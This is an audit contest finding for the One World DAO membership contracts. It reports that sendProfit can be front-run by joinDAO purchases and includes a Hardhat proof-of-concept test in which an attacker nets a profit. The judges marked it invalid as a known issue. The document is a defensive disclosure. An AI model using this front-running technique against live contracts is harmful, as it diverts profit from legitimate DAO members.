Project

One World
NFTDeFi
15,000 USDC
View results
Submission Details
Severity: high
Invalid

MembershipERC1155::sendProfit can be front-run by calls to MembershipFactory::joinDAO when there are potential profits for attackers

Summary

As Cyfrin Audit Report 7.2.1 shows

MembershipERC1155::sendProfit can be front-run by calls to MembershipFactory::joinDAO to steal profit from existing DAO members.

One world emphasizes that the attacker would pay the cost more than the profit.

One World Project: Membership must be purchased, and if a user wishes to acquire a significant number of shares to potentially front-run the sendProfit function, they would need to spend a much larger amount than the profit they would gain.

But under the current function sendProfit(uint256 amount , the default caller would be the daoCreater, which may include one world. Don't check the profit amount, which creates the potential scenarios for attackers to gain more profit than their cost.

Vulnerability Details

Below is one scenario in which the attacker can get more profit than their cost.

One daoCreater creates one DaoMemberShip, DaoConfig, and TierConfig as below

DAOConfig = {
ensname: "testdao.eth",
daoType: DAOType.SPONSORED,
currency: testERC20.target,
maxMembers: 100,
noOfTiers: 7,
};
TierConfig = [
{ price: 300, amount: 10, minted: 0, power: 12 },
{ price: 200, amount: 10, minted: 0, power: 6 },
{ price: 100, amount: 10, minted: 0, power: 3 },
{ price: 300, amount: 10, minted: 0, power: 12 },
{ price: 200, amount: 10, minted: 0, power: 6 },
{ price: 100, amount: 10, minted: 0, power: 3 },
{ price: 100, amount: 10, minted: 0, power: 3 },
];

Before the daoCreater sends profit, five users also join the dao.

user1 joinDao by purchasing tieIndex(tokenId) = 0, paid 300 wei(eth), user2,user3,user4,user5 as user1

For now, the daoCreater wants to send profit to award the five members. for example, 4000wei. During this situation, the front-run attacker can mint five tokedId=0, paying 1500 wei, but can get 2000 wei, profiting 500 wei.

POC as below

attacker pays 1500 wei, gets 2000 wei profit, and finally, a net profit of 500 wei.

To make the test work, I have modified the hardhat environment, can add below to this URL: https://github.com/sodexx7/One_world_temp_202411/blob/193b4dfad76ecc157eff72cf35ed2caf8cd00fa3/test/MembershipFactoryPOC.test.ts#L66

describe("POC attacker front run send profit, get more profit", function () {
async function mintEnoughCurrencyWithApprove(
user: any,
approvedContract: any,
amount: number
) {
await testERC20.mint(user.address, amount);
await testERC20.connect(user).approve(approvedContract.target, amount);
}
beforeEach(async function () {
await currencyManager.addCurrency(testERC20.target); // Assume addCurrency function exists in CurrencyManager
await membershipFactory.createNewDAOMembership(DAOConfig, TierConfig);
const ensAddress = await membershipFactory.getENSAddress("testdao.eth");
membershipERC1155 = await MembershipERC1155.attach(ensAddress);
});
it("POC attacker front-run send profit", async function () {
const users = [addr1, addr2, addr3, addr4, addr5];
const tierIndex = 0;
for (let i = 0; i < users.length; i++) {
// user1,user2,user3,user4,user5 joinDao paying 300wei
await mintEnoughCurrencyWithApprove(users[i], membershipFactory, 300);
await expect(
membershipFactory
.connect(users[i])
.joinDAO(membershipERC1155.target, tierIndex)
).to.emit(membershipFactory, "UserJoinedDAO");
}
// attacker monitoring sendProfit tx, confirm the potenrial profit, then front-run the tx
// attacker joinDao five times, get five nft(tierIndex=0)
console.log("attacker pay", 300 * 5, " wei to joinDao five times");
for (let i = 0; i < 5; i++) {
await mintEnoughCurrencyWithApprove(attacker, membershipFactory, 300);
await expect(
membershipFactory
.connect(attacker)
.joinDAO(membershipERC1155.target, tierIndex)
).to.emit(membershipFactory, "UserJoinedDAO");
}
// daocreater
await mintEnoughCurrencyWithApprove(owner, membershipERC1155, 4000);
await membershipERC1155.connect(owner).sendProfit(4000);
const attackerBalancebefore = await testERC20.balanceOf(attacker.address);
// attacker claimProfit
await membershipERC1155.connect(attacker).claimProfit();
const attackerBalanceAfter = await testERC20.balanceOf(attacker.address);
const profit = attackerBalanceAfter - attackerBalancebefore;
console.log("attacker claimProfit", profit.toString());
// cost 1500, proft > 1500
expect(BigInt(profit) - BigInt(1500)).to.be.gt(0);
});
});

Impact

  1. As Cyfrin Audit shows, front-running the sendProfit can allow the attacker to gain more shares than the previous users. Which leads to some unfairness for the previous users.

  2. Attackers can profit just by front-running the sendProfit; their goal is not to become members. On the other hand, this has bad effects on normal users who become members.

  3. There are no specific specifications about how much profit would be sent for now; there are no other functions or mechanisms to help daoCreater deal with this situation. Improve the difficulties for daoCreater in motivating their members.

Tools Used

Hardhat, Manual

Recommendations

  1. Apply Cyfrin Audit suggestion

    Consider implementing a membership delay, after which profit sharing is activated.

  2. Limiting the sendProfit amount to make the front-run can't work, but it will cause some trouble for daoCreators.

Updates

Lead Judging Commences

0xbrivan2 Lead Judge 8 months ago
Submission Judgement Published
Invalidated
Reason: Known issue

Appeal created

bytesflow007 Submitter
8 months ago
0xbrivan2 Lead Judge 8 months ago
Submission Judgement Published
Invalidated
Reason: Known issue

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.